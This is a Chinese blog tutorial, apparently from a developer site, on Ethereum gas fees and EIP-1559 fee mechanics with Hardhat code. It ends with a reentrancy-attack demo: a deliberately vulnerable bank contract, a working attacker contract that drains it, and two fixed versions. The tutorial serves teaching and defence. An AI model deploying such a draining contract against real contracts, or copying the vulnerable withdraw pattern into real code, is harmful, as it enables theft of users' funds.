区块链智能合约之GAS费用详解

GAS费是什么?

GAS费是用户在调用合约发交易请求的时候,调用方需要支付的一笔费用,这笔费用一部分会被消耗掉(消失掉),另一部分会当做报酬支付给旷工。
注意:只有交易请求才会涉及到GAS费用问题,因为只有交易请求才会打包记录在链上,像合约中的pure和view非交易方法是不会涉及到GAS费用问题的

GAS费的作用

  • 避免垃圾合约代码执行,代码越复杂,调用方需要支付的费用越高
  • 避免合约代码出现异常导致资源耗尽,类似于IP协议的 TTL 机制,避免形成环路调用
  • 解决共识机制问题,激励矿工参与交易
  • 通过gas可以衡量网络拥堵情况

GAS费怎么计算

GAS费用计算涉及到两部分:一部分是与代码复杂度相关的,单位是gas,代码复杂度越高,所需要的gas就越多(gas usage);另一部分就是单个gas的价格(gas price)。
两部分相乘就是当前交易请求所需要支付的全部gas费用(gas fee)

计算GasUsage

第一种方式:使用hardhat框架的gas reporter
1.安装hardhat-gas-reporter
npm install --save-dev hardhat-gas-reporter
2.修改hardhat.config.js配置,增加下面的配置

require("hardhat-gas-reporter");
......
module.exports = {
  ......
  gasReporter: {
    enabled: true       // 启用 gas 消耗报告
  },
  ......
};

3.新增合约TestGas.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
contract TestGas{
    uint256 count;
    function add() public {
        count++;
    }
    function calculate() public pure returns(uint256){
        return 100+200;
    }
    function getCount() public view returns(uint256){
        return count;
    }
}

4.新建测试脚本

import "@nomicfoundation/hardhat-ethers";
import {ethers} from "hardhat";
describe("TestGas", function(){
    it("TestGas", async function(){
        const TG = await ethers.getContractFactory("TestGas");
        const tg = await TG.deploy();
        await tg.waitForDeployment();
        for (let i = 0; i < 10; i++) {
            await tg.add();
            await tg.calculate();
            await tg.getCount();
        }
    });
})

5.执行gas usage测试
npx hardhat node// 启动hardhat
npx hardhat test ./test/TestGas.ts// 执行测试脚本

执行结果如下:
在这里插入图片描述

第二种方式:使用交易模拟
编写测试代码

import "@nomicfoundation/hardhat-ethers";
import {ethers} from "hardhat";
describe("TestGas", function(){
    it("TestGas", async function(){
        const TG = await ethers.getContractFactory("TestGas");
        const tg = await TG.deploy();
        await tg.waitForDeployment();
        console.log(await tg.add.estimateGas());// 如果方法带入参,在()里面传入即可
    });
})

执行结果如下:
在这里插入图片描述

计算GasPrice

在EIP-1559协议出现之前,gas price完全由供需关系决定,通过拍卖机制来确定每个区块的费用。用户必须选择一个适当的“gas price”,并希望矿工接受该价格,矿工根据价格的高低来优先处理交易。这意味着当网络拥堵时,交易平均费用会大幅上升(100个中10个价格高的,1000个中就有100个价格高的),而网络空闲时,交易平均费用又会极具下降,费用波动太大,导致用户的体验很差。

EIP-1559协议出现后,引入了基础费用(base price)和小费(tip)的概念,使得交易的费用更加透明和可控。

  • 基础费用(Base Fee)由网络协议自动调整,网络拥堵时价格高,网络空闲时价格低
  • 小费(Tip) 由用户设置,支付给旷工,用于激励矿工处理交易
  • 总费用(Gas Fee)基础费用加上小费,用户最终支付的费用

EIP-1559的优势:用户不再需要预估当前市场的"Gas Price",网络拥堵时能够自动平稳的调整价格,动态调整区块大小避免资源浪费,燃烧部分费用减少以太坊供应量对提高以太坊价格有利。

我们可以打开etherscan查看一条交易记录的GasPrice的组成
在这里插入图片描述
这里的Base就是BaseFee,基础费用,根据网络拥堵情况自动动态调整;MaxPriority就是小费,用户可以自主设置,这是矿工最终会拿到的费用;这里的GasUsage就是45160,那么总的需要支付的Gas费就是GasUsage乘以GasPrice,而GasPrice又等于BaseFee+PriorityFee。

那么最终的公式就是( BaseFee + PriorityFee) * GasUsage = TransactionFee

EIP1559之BasePrice

BaseFee随着网络繁忙程度动态调整,调整程度如下图所示:

请添加图片描述

BaseFee是根据上一个区块的使用率动态调整的

  • 如果上一个区块的使用率是50%,那么下一次的BaseFee就不变
  • 如果上一个区块的使用率少于50%,那么下一个区块的BaseFee就会相应减少,但是最多减少上一个区块BaseFee的12.5%
  • 如果上一个区块的使用率大于50%,下一个区块的BaseFee就会相应增加,最多增加上一个区块BaseFee的12.5%
    以太坊区块使用率
    以太坊区块使用率
    上面两张图显示:上一个区块的使用率超过50%(66.66%),下一个区块的BaseFee就会相应提高:0.434309218 Gwei --> 0.452400546 Gwei
EIP1559之PriorityPrice

PriorityFee也就是小费,用来奖励矿工,设置的越高,矿工越愿意执行你的交易,给少了你的交易有可能不被执行,给多了可能会存在浪费。

查询官网查看GasPrice当前浮动状况
PriorityFee(可以不给)
上图显示,目前有63227个交易待处理,区块的使用率目前为59.29%,根据小费给的多少可以预测现在提交的交易会在多长时间内执行完

查询GasPrice额度限制

通过ethers.js查询当前网络繁忙程度下的最大总费用和最大优先费用

const {ethers} = require("hardhat");
async function showFeeData(){
    console.log(await ethers.provider.getFeeData());
}
showFeeData();

执行脚本npx hardhat run ./test/ethers_feedata.js --network mainnet,返回结果如下
在这里插入图片描述
下面方法可以查询当前已经打包好了的Block的BasePrice值,可以参考这个值预测下一个Block的BasePrice值

const block = await ethers.provider.getBlock("latest");
console.log(block.baseFeePerGas);
设置Gas费最大额度限制

设置交易单个gas最大费用(maxFeePerGas)或者最大priority费用(maxPriorityFeePerGas)

import "@nomicfoundation/hardhat-ethers";
import { ethers } from "hardhat";
describe("TestGas", function () {
    it("TestGas", async function () {
        const TG = await ethers.getContractFactory("TestGas");
        const tg = await TG.deploy();
        await tg.waitForDeployment();

        const addr = (await ethers.getSigners())[0].address;

        const gasUsage1 = await tg.add.estimateGas(123);
        const block1 = await ethers.provider.getBlock("latest");
        const balance1 = await ethers.provider.getBalance(addr);
        console.log(`1=====block:${block1.number}=====block(${block1.number}).baseFeePerGas:${block1.baseFeePerGas}`)
        console.log(`1=====block:${block1.number}=====balance:${balance1}`);
        console.log("\n");
        try {
            let tx1 = await tg.add(123, {
                maxFeePerGas: 100,
                // maxPriorityFeePerGas: 20,
            });

            console.log(await tx1.wait());
        } catch (error) {
            if (error instanceof Error) {
                console.error(`Caught an error:${error.message}\n`);
            } else {
                console.error(`Unknown error:${error}\n`);
            }
        }

        const gasUsage2 = await tg.add.estimateGas(456);
        const balance2 = await ethers.provider.getBalance(addr);
        const block2 = await ethers.provider.getBlock("latest");
        console.log(`2=====block:${block2.number}=====balance:${balance2},subtracted:${balance1 - balance2}`);
        console.log(`2=====block:${block2.number}=====calculate totalFeePerGas==${(balance1 - balance2) / gasUsage1}`)
        console.log(`2=====block:${block2.number}=====block(${block2.number}).baseFeePerGas:${block2.baseFeePerGas}`)
        console.log(`2=====block:${block2.number}=====calculate priorityFeePerGas==${Number(balance1) - Number(balance2) == 0 ? 0 : (balance1 - balance2) / gasUsage1 - block2.baseFeePerGas}`);
        console.log("\n");
        try {
            let tx2 = await tg.add(456, {
                maxFeePerGas: 304338
            });
            console.log(await tx2.wait());
        } catch (error) {
            if (error instanceof Error) {
                console.error(`Caught an error:${error.message}\n`);
            } else {
                console.error(`Unknown error:${error}\n`);
            }
        }
        const balance3 = await ethers.provider.getBalance(addr);
        const block3 = await ethers.provider.getBlock("latest");
        console.log(`3=====block:${block3.number}=====balance:${balance3},subtracted:${balance2 - balance3}`);
        console.log(`3=====block:${block3.number}=====calculate totalFeePerGas==${(balance2 - balance3) / gasUsage2}`);
        console.log(`3=====block:${block3.number}=====block(${block3.number}).baseFeePerGas:${block3.baseFeePerGas}`);
        console.log(`3=====block:${block3.number}=====calculate priorityFeePerGas==${Number(balance2) - Number(balance3) == 0 ? 0 : (balance2 - balance3) / gasUsage2 - block3.baseFeePerGas}`);
    });
})

当调用合约方法tg.add(123)时,maxFeePerGas值设置为100,小于下一个区块的baseFeePerGas值会报下面的错误
在这里插入图片描述
当调用合约方法tg.add(123)时,maxPriorityFeePerGas值设置为20,那么该交易支付给旷工的小费不会多于20
在这里插入图片描述

重入攻击

重入攻击复现

银行合约代码如下:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
contract VulnerableBank{
    mapping(address => uint256) public balanceOf;
    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
    }
    function withdraw() public {
        require(balanceOf[msg.sender] > 0, 'Not enough funds');
        (bool success, ) = msg.sender.call{value: balanceOf[msg.sender]}("");
        require(success, "Transfer failed");
        balanceOf[msg.sender] = 0;
    }
    fallback() external payable { }
    receive() external payable { }
}

攻击代码如下:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
interface IBank{
    function deposit() external payable;
    function withdraw() external ;
}
contract Hacker{
    IBank public bank;
    constructor(address _bank) payable {
        bank = IBank(_bank);
    }
    function hack() public payable {
        bank.deposit{value:msg.value}();
        bank.withdraw();
    }
    receive() external payable { 
        if(address(bank).balance > 0){
            bank.withdraw();
        }
    }
    fallback() external payable {
        if(address(bank).balance > 0){
            bank.withdraw();
        }
    }
}

攻击步骤及结果展示:
第一步:部署VulnerableBank合约
第二步:部署Hacker合约,将VulnerableBank合约部署地址当做构造函数入参传入
第三步:给VulnerableBank合约转入5000wei以太坊
第四步:携带1000wei调用Hacker合约的hack()方法
第五步:查看Hacker合约中的以太坊数量为6000wei
在这里插入图片描述

重入攻击原理

银行在给用户转以太坊时,使用的是call转账方式,调用攻击者合约的call方法后最终会触发调用recieve()方法(原理:data值为空,异常时触发调用recieve,data值不为空,异常时触发调用fallback),而recieve()方法又被攻击者修改为重复调用银行的withdraw方法,因为这个时候攻击者账户下的余额还没有被修改为0,验证通过,银行就继续调用攻击者合约的call()方法,这样银行循环执行call()方法而call方法又没有gas费用限制,最后就会将全部以太坊转给攻击者。

gas费防重入攻击

优化合约代码,使用transfer替换掉call方法,因为transfer携带gas费用限制,限制额度为2300个gas

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
contract VulnerableBank{
    mapping(address => uint256) public balanceOf;
    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
    }
    function withdraw() public {
        require(balanceOf[msg.sender] > 0, 'Not enough funds');
        payable(msg.sender).transfer(balanceOf[msg.sender]);
        // 或者 msg.sender.call{gas:2300, value: balanceOf[msg.sender]}("");
        balanceOf[msg.sender] = 0;
    }
    fallback() external payable { }
    receive() external payable { }
}

攻击失败展示,因gas费不足以循环将全部以太坊转出,导致以下报错
在这里插入图片描述

其它防重入攻击方案

再次优化合约代码,在转账之前先修改账户金额,防止下次重复调用时账户金额限制逻辑不生效

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
contract VulnerableBank{
    mapping(address => uint256) public balanceOf;
    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
    }
    function withdraw() public {
        require(balanceOf[msg.sender] > 0, 'Not enough funds');
        uint256 amount = balanceOf[msg.sender];
        balanceOf[msg.sender] = 0;
        payable(msg.sender).transfer(amount);
    }
    fallback() external payable { }
    receive() external payable { }
}

攻击失败结果展示
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值